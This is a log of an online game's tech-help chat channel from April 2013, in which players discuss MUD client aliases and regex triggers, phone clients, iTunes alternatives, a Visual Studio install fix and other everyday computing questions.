T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: can't.  Botting's not allowed.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Xantcha Tech: that script's easy.... "quit"
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Xantcha Tech: Then you can imagine you're whatever level you want
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: It's not botting if I can type with my mid
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: mind, even
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: write something that harvests the data of the market and then gives us stock market like output
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: oh, wait, I know.  I can just echo the level message and random bonus-stat stuff.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Aizma Tech: Sure, close enough
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: and with an alarm you wouldn't even need to type anything.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: Hanslanda . o O ( wonder how many prank scripts this'll generate...? )
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Hanslanda Tech: is there a warfare reporting script other than Abe's?  His doesn't seem to include support for the player-called restrictions.
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: wow, this is only the second war this year with any remort restrictions...there was one noremort war in january, and this one is remortonly
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: only 6 nosn wars this year
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: but yeah, my script doesn't care about those, and I think it doesn't even gag those lines...main reason it doesn't take them into consideration is that I had the first line (level and type) be the line that determines whether to gag
T3/r7/2013-04-23.txt.gz:{chan ch=tech}Tech: and of course since I don't use any of my MUSH scripts, I never noticed that I wasn't gagging the restriction lines ;-)
T3/r7/2013-04-24.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Hi, how do I get the text out of a File in javascript? I have some JSON I need to parse :/
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: any idea why my buttons don't work? android client
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: someone? anyone? is the channel empty?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: that's a pretty vague question
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: oh thank god I thought I was alone
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Zetkax Tech: we are all alone
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: folks here are more into cmud, zmud, mush, lau, VB, etc...
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: part of the challenge of playing on a phone is that you are all alone in the deep-dark
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: I just can't press  em. I use my finger but no reaction from the button. it doesn't turn red
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Tech: Persley )
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: did you turn the phone on?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: lol no, I'm conversating with u via telepathy XD
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: that's all I know about phone clients... the phone has to be on.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Ophelion Tech: cool
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: ok, tun,thnx ) any recomendation how do I play it on pc? I saw aard for the first time while googleplay
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Zetkax Tech: to play on pc use mushclient, there is one version customised for aardwolf
T3/r7/2013-04-24.txt.gz:{chan ch=tech}ElFeneri Tech: go to www.aardwolf.com, there you find links to very good and free pc client.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: get the aardmush client off the aardwolf web site... customized client just for this mud - maps, plugins, super slick
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: tnx
T3/r7/2013-04-24.txt.gz:{chan ch=tech}ElFeneri Tech: You'll probably enjoy this game much more when playing from a PC.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: ill try
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: I'll*
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Vonliege Tech: be warned, though... if you thought this would be something fun to play from your phone, once you play via PC, you will have to be REAL desparate to play from your phone again.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Persley Tech: ill be cautious:)
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: I'm using mushclient, and I used an alias which gave an error, now I can't use that alias at all. Any way to get it working again without completely reloading mushclient?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Nuanse Tech: alias from plugin?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: yeah
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Nuanse Tech: reload that plugin
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-alt-p -> choose plugin that got fubered -> reload
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Nuanse Tech: ctrl -shift-p
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Nuanse Tech: and it's not reload...reinstall rather :)
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: ok. thanks
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: perfect, that fixed it. much easier
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Grissom Tech: you can make a xml file in notepad,right?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Freyja Tech: Right
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Trachx Tech: yes
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: xml files can be made with anything that doesn't put in strange encodings (like word)
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In case that was too ambiguous, I was saying word won't work, not the other way around :P
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Grissom Tech: ah i see going to try my hand at making a small plugin/thingy
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: VI's the best editor, though :)
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Humbler Tech: emacs!
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: emacs is ok, but i LOVE VI
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, VIM, but essentially the same :P
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Trachx Tech: xemacs has nice shortcuts
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Notepad++/Eclipse on windows, TextMate on MacOS, and VI on any *NIX system
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: emacs is too bloated for an operating system imho. but hey, it you can use vim in emacs so text editing is covered
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Grissom Tech: what is the best port to log on to 23 or 4000
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Grissom Tech: or 4010
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Hanslanda Tech: it doesn't matter, all ports have the same speed
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Grissom Tech: i mean does it make any difference in data transferred
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Hanslanda Tech: no, it doesn't.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Grissom Tech: ah i see
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Endtime Tech: anyone know a way to stop itunes from modifying podcast subscriptions? keeps unsubcribing me from podcast updates because it thinks i havent been listening to them. but i only listen to them after transferring them to my ipod. easy enough to re-subscribe, but it's an annoyance.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: Wow, pretty presumptuous of it.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Book of Etzli Tech: You just invited someone to say, "Don't use iTunes." :p Personally, I use other sources. If you're able to, switch music managers.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Endtime Tech: i know, itunes is horrible. any suggestions on a replacement? preferably free :)
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Book of Etzli Tech: If not, I've no clue, but I'd imagine there should be an option somewhere to not remove it.
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: not sure that's possible to get things onto the ipod, with apple's proprietary crap
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: if you just wanna put stuff on ipod, use winamp
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Endtime Tech: on a related note, itunes has forgotten where my music library is stored about 120 times. truly horrible program
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: winamp can transfer files to the ipod?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: it's quite heavy too
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: ye
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: is that possible with mp3 files too, or just podcasts? If I could use that to put music on my iphone and give itunes the boot...
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: mp3s
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: I just sync my laptop with winamp and it's good
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: has artwork or what's it called, etc
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: huh. I'm trying to figure out how that would even work, but I may have an older version of winamp on here
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: you rightclick a playlist, Send to: ipod
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: or you drag and drop
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: or you rightclick ipod device in winamp, then create playlist, or whatever
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: if you don't have the option in send to and ipod is connected for sure, get plugin separately, or just get winamp 5
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: free version
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: oh. only works with certain ipods, and not the iphone. blah
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Faylen Tech: according tot he forums at least
T3/r7/2013-04-24.txt.gz:{chan ch=tech}TrEz Tech: ye might be, I got ipod nano 3g or something
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Dfury Tech: are there RSS feed plugins for zmud?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Karang Tech: on a similiar note any for mushclient?
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Tech: heh, talk about wrong tool for the job :P
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Hanslanda Tech: shrug, you can use ZMud as an audio player...
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Tech: and you can bash a nail with the handle of a screwdriver...
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Tech: still doesn't make it the right tool for the job
T3/r7/2013-04-24.txt.gz:{chan ch=tech}Prince Wario Tech: you can, but a hammer works so much better along with a nail gun
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: in zmud i would use %1 for target, what do i use in MUSH?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: crickets
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: same
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: but there's a bunch of other crap I don't understand that has to be in the trigger
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: ahh
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: lemme see if I can paste a basic %1 trigger for you... compliments of Norton
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: nod
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: ^kill(\s+(.*)?(\.)?(\w+)?)?$
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: holy crap seriously?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: heh, that wouldn't work in a normal trigger
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: yah... works though
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: it allows for two word target, too
T3/r7/2013-04-25.txt.gz:{chan ch=tech}TrEz Tech: there's a convert to regex crap there
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: not without checkboxes
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: NEVER convert to regex
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: i just need a simple k (target) = bs target
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: I dunno why that button exists, there's never a reason to use it
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: that's not a trigger, that's an alias
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: hmm, try ^kill (.*)$
T3/r7/2013-04-25.txt.gz:{chan ch=tech}TrEz Tech: shrug it works for the basic stuff
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: I misspoke... thats not a trigger... it's an aliase
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Ayasinda Tech: k * = bs %1
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: trez: it doesn't actually do anything
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: Rykor licks TrEz.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: other than reduce efficiency
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: that regex trigger was written more for spells. it allowed 1 command to target self, or a mob.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}SlapDummy Korridel Tech: Just want to reinforce - kill commands should /never/ be executed by triggers guys :)
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: clicking the regular expression checkbox is something to do in order to use regex...telling MUSHclient to convert a perfectly-good glob into a regex isn't
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: for self you can do this: ^kill(| .*)$
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: i dont need a trigger, i need an alias
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: and for a kill alias, do it MUDside...just "alias k bs"
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: hmm, that was too easy :)
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: Rykor... what I pasted is for an aliase - not a trigger.  I misspoke
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: and for all those things which have been posted other than ayasinda's, not a single one of them would have worked if you'd just pasted them into a new trigger
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: thought as much, thanks for your help
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Ayasinda Tech: he needs an alias not a trigger so it turned out ok
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: they also wouldn't have worked if you'd just pasted into a new alias...the patterns were invalid :P
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: huh... works fine for me
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: no, it doesn't
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: does too
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: not if you just paste into a new alias
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: no. you're forgetting a step.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: well... there's the instruction for what to actually DO to the object of the aliase... but that shoudl be self evident
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: ok one more zmud to mush question.  i have 3 chars, in zmud i would have a different .mud for each char a different command set for each, how does that work in mush?  semms i only have one command set
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: no vonliege, not even that
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: go ahead, I'll wait...disable your current, click new, paste that in as the pattern, put in "echo hey I fired" as the action, and try it.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Thunderous Norton Tech: ya need to tick the "its a regex expression" box
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: you've been posting regex patterns, MUSHclient does not use them by default
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: they will simply not work without checking that box
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: abelinc, all my aliases uses regex and i never check that box
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: and "convert to regular expression" as suggested by trez would make them further not work ;-)
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: not true, zetkax
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: i dont define any aliases with the gui, they are all defined from lua and yes its true
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: I just made a new aliase - pasted what was still in my clipboard - and it worked fine
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: there may be a global setting, or a default that we have set differently, though... I don't pretend to understand half the crap I use.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: i dont use the gui for anything except the "convert to regular expression" because it easily converts mud output into regex
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: there is no global setting, both of you are incorrect
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: i then past that into my lua code
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: zetkax: your lua code is setting it
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: not using the GUI doesn't mean you're not checking that box
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: i know but your statement "will simply not work without checking that box" is incorrect
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rykor Tech: getting on Vec, stil need an answer to the command set Q when you all get done *sigh
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: no, it isn't
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: yes it does, its not a box being checked, its a bit being set
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: no, it is a box being checked via a script
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: rykor: you'd need a separate world for each character, or have something which is loaded on demand at login
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: Vonliege readies his spell...  'cast abelinc websters'....  and the dictionary BURST into flames!
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: although im not familiar with the internals of mushclient i doubt the internal representation of whether regex is to be used is determined by a widget, it would be a bit in a mask
T3/r7/2013-04-25.txt.gz:{chan ch=tech}The Attack Vector Tech: hmm... that seems inconvienient... whereas Zmud would load them with each char... what a pain.  oh well thanks
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: all fun aside - we'd be diminished without Abelinc.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: The Attack Vector pets you.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: sure, you'd still think that you can use regular expressions in MUSH without expressly telling it that the pattern is not the glob that it expects ;-)
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: alias_flag.RegularExpression <- what i do
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: right...so you check that checkbox ;-)
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: its not a checkbox
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: open up the alias and tell me it's unchecked then :-)
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: ya... but it gets to the same result
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Doc Holliday Tech: anyob
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone have a samsung smarttv
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: so I'm blocked from the aardwolf mud site at work.  is the aardmush client actually hosted at aardwolf.com or somewhere else?  if somewhere else, would you mind letting me know the link?  Thaks!
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: finger fiendish
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: finger fiendish
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: thanks!
T3/r7/2013-04-25.txt.gz:{chan ch=tech}RaVirr Tech: hi i just asked this question on newbie but no one knows the answer...
T3/r7/2013-04-25.txt.gz:{chan ch=tech}RaVirr Tech: i can't seem to turn echo off on my communications log?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Trachx Tech: you mean that right click and echo all / echo none doesn't make any difference ?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Karang Tech: Is there an wasy way to access GMCP data in mush?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Ayasinda Tech: sure. there are lots of plugins using it. And there is a bit of info on the aardwiki
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Karang Tech: So no nice and clean way
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Ayasinda Tech: what is nice and clean to you? It's not that hard to get gmcp data
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Karang Tech: don't want to do a plugin, just an alias to populate data from gmcp.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why does my phone charge faster in a outlet than plugged into usb of my pc
T3/r7/2013-04-25.txt.gz:{chan ch=tech}The River Styx Tech: more power
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Aizma Tech: More current?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Hey guys.. So I'm trying to get visual studio 2010 installed. I've tried to install it twice now, and neither time has it had all the header files in the vc/include folder (namely the iostream header). Anyone have any idea why that might be?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: bad copy?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Eutychus Tech: Did you torrent it?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: No.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Eutychus Tech: Have you checked for all the directories to see if they are there?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: The vc/include directory is there, yes. But with none of the headers.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: what os
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Windows 7.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Eutychus Tech: Where are you looking?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: You have all of the Visual Studio 2010 prereq?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Yeah, it installed those during the process.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Akuri Tech: could it be a missed optional library
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: I had an issue installing it on win7, but forgot the exact issue
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: When I installed express a couple months ago it worked fine. One page I just found said something about how it gets messed up if a version was previously installed and removed.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: that is correct, express and pro or whatever the 2nd version is has issues when both are present
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Yeah. I removed express, and even tried deleting all traces of it ever being on there, and still nothing. Trying an uninstall utility now that microsoft has.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: mats?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: probably not helpful, http://connect.microsoft.com/VisualStudio/feedback/details/774158/re-installed-visual-studio-2010-and-c-standard-headers-are-missing
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: the issue i had was with the installation process, but not with missing files
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: if i find anything of note, i will let you know, have to go for dinner shortly
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Hmm, took a look, registry thing looks like an idea, so gonna try it and try reinstalling.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Leinei Tech: Someone ran over the cables for the satellite internet with the lawnmower.  The dish is labeled TX and RX, and the end at the house is labeled input and output.  Anyone know which connects to which?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Leinei Tech: tx and rx means transmit and receive?
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zetkax Tech: yes
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Well then, transmit would be output, and receive would be input.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Leinei Tech: That's what I would think.  Assuming "input" means input into the modem, and "receive" means receive from space.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: looks like you have a 50/50 chance... not like you're going to fry anything
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: That was my thought as well.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: try it, if it doesn't work, switch it.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Alright, monitoring the install and it has the headers in the directory now. :D
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Leinei Tech: Gotta go out and get new ends first
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Vonliege Tech: bahhhh... twist it and suct tape it
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: re: VS 2010 install; sounds like good news for now
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Yep. Doing a quality check now.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: sounds promising, i remember seeing that article in february 
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Cuddlez Tech: Looks like its working. Thanks for linking that. :D
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Zelog Tech: great
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Viprus Tech: When i list something it shows ~20 lines and i have to press enter to see more
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Viprus Tech: is there a way to make it list all straight away
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: pagesize 0
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Viprus Tech: or at least increase the amount of lines
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Hanslanda Tech: be wary of long lists if you use 0, they'll probably disconnect you.
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Viprus Tech: what about just increasing the amount of lines
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: so do it, do pagesize 300
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Hanslanda Tech: same deal, if you go high enough, plus you get to deal with the page prompts
T3/r7/2013-04-25.txt.gz:{chan ch=tech}Viprus Tech: ill give it a crack, thanks for the help guys
T3/r7/2013-04-26.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: do any one knows a website where i can upload .jpg and get a link for it to share with some one?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Vuron Tech: imgur
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Nuanse Tech: there are imgur is good
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Nuanse Tech: there are plenty of them though
T3/r7/2013-04-26.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: thank you very much
T3/r7/2013-04-26.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: I'll take a peek at imgur
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Vonliege Tech: is there a 'delay' or 'wait' command for building an alias in mush?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In the normal gui style, no - but if you send to script, I believe in later versions of aardmush there is a wait() function or similar
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Vonliege Tech: thanks
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Ontuct Tech: how many KB of data do you suppose the average player here absorbs a day?sca
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Depedins on the activity level of said user.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Depends on whether you include map getting / other external uses
T3/r7/2013-04-26.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: interesting Q
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Someone pupping, is going to incur massively more than someone qsitting at level 1
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 2MB
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Total mud traffic, fairly minimal
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Bast Tech: type "compress", it will show you if you have mccp on
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Bast Tech: I used half a mb in about an hour, but I have been campaigning
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Ontuct Tech: there is always data we see, that we read but isn't important to our play... ie With a thunderclap potatosalad appears in the room.
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Vonliege Tech: simple trigger question.. I want to color one part of a line - (Golden Aura)* but I need to match the rest, but NOT color it.  what do I need to put around the match text?
T3/r7/2013-04-26.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: WoW just changed to EDGE from 3G , made no difference... wierd still fast no lag at all
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: Ugh. Is there no way to tell Microsoft Word, "Hey, look, I don't want to have to right-click, select 'Paste Values Only' just to get you to stop pasting the format!"? :\
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Mye Tech: use the right-click button on lower-right corner of keyboard next to the windows key? keypress quicker than mouse click
T3/r7/2013-04-26.txt.gz:{chan ch=tech}Book of Etzli Tech: It wouldn't really be in this case, unfortunately. It's a mess of a task I'm working on, too.
